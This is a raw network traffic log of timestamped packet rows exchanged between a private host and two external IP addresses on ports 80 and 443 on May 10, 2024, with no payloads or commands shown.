May 10, 2024 09:20:58.381083965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.381095886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.381127119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.381129026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.381143093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.381143093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.381158113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.381160975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.381175041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.381227970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.381299973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.381313086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.381391048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.381391048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.381419897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.381433010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.381458998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.381490946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.381875038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382019997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382031918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382042885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382055998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382057905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382077932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382085085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382091045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382112980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382224083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382258892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382271051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382282972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382296085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382308006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382317066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382329941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382468939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382481098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382492065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382503033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382510900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382514954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382528067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382531881 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382540941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382553101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382561922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382565022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382574081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382579088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382591963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382597923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382602930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382613897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382618904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382626057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382632971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382637024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382649899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382656097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382661104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382673025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382679939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382690907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382694960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382703066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382714987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382715940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382726908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382736921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382739067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382750988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382760048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382761955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382772923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382782936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382786036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382797956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382798910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382811069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382818937 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382822990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382834911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382839918 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382847071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382853031 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382858992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382869959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382878065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382882118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382894039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382905960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382914066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382917881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382930994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382930994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382944107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382946968 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382956982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382961988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382970095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382980108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382981062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.382996082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.382997990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383009911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383017063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.383022070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383033037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383039951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.383044004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383055925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383060932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.383066893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383074045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.383080959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383093119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383095980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.383112907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383117914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.383126020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383136988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.383137941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383151054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383152962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.383163929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383173943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.383182049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383193970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383194923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.383207083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383214951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.383220911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.383246899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.383269072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.387340069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.387352943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.387366056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.387377024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.387388945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.387409925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.387450933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401487112 CEST	443	49783	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.401545048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401557922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401560068 CEST	443	49783	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.401568890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401581049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401592970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401599884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401604891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401616096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401628017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401628017 CEST	49783	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.401629925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401639938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401650906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401650906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401662111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401663065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401675940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401684999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401685953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401699066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401710033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401710987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401721001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401724100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401737928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401743889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401750088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401767969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401768923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401782036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401791096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401793003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401804924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401817083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401827097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401828051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401839972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401850939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401858091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401863098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401875019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401884079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401885986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401921034 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401921988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401928902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401933908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401946068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401951075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401957989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401968956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401973963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.401982069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.401993990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402000904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402004957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402015924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402017117 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402029037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402034998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402040958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402048111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402054071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402066946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402070045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402080059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402091026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402096987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402103901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402106047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402116060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402126074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402127028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402137995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402143002 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402149916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402160883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402162075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402173042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402175903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402184963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402196884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402199030 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402208090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402220011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402220011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402231932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402241945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402242899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402256012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402267933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402267933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402281046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402292967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402302980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402313948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402322054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402323961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402335882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402347088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402358055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402369022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402376890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402380943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402389050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402394056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402405977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402410984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402417898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402432919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402447939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402451038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402462959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402472973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402483940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402491093 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402494907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402507067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402513027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402518034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402529001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402532101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402544022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402549028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402555943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402566910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402579069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402581930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402591944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402596951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402604103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402616024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402617931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402626991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402638912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402647018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402650118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402658939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402662992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402674913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402678967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402688026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402698994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402699947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402712107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402713060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402724028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402733088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402735949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402745962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402749062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402759075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402762890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402775049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402781963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402786970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402800083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402811050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402812958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402822971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402833939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402833939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402844906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402851105 CEST	49783	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.402856112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402864933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402867079 CEST	443	49783	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.402879953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402888060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402889967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402889967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402893066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402898073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402901888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402914047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402925014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402932882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402936935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402950048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402956963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402962923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402967930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.402976036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402987957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.402990103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403000116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403011084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403011084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403023958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403033018 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403036118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403048038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403054953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403065920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403065920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403084040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403086901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403096914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403100014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403109074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403112888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403121948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403125048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403134108 CEST	80	49754	34.68.151.162	192.168.2.4
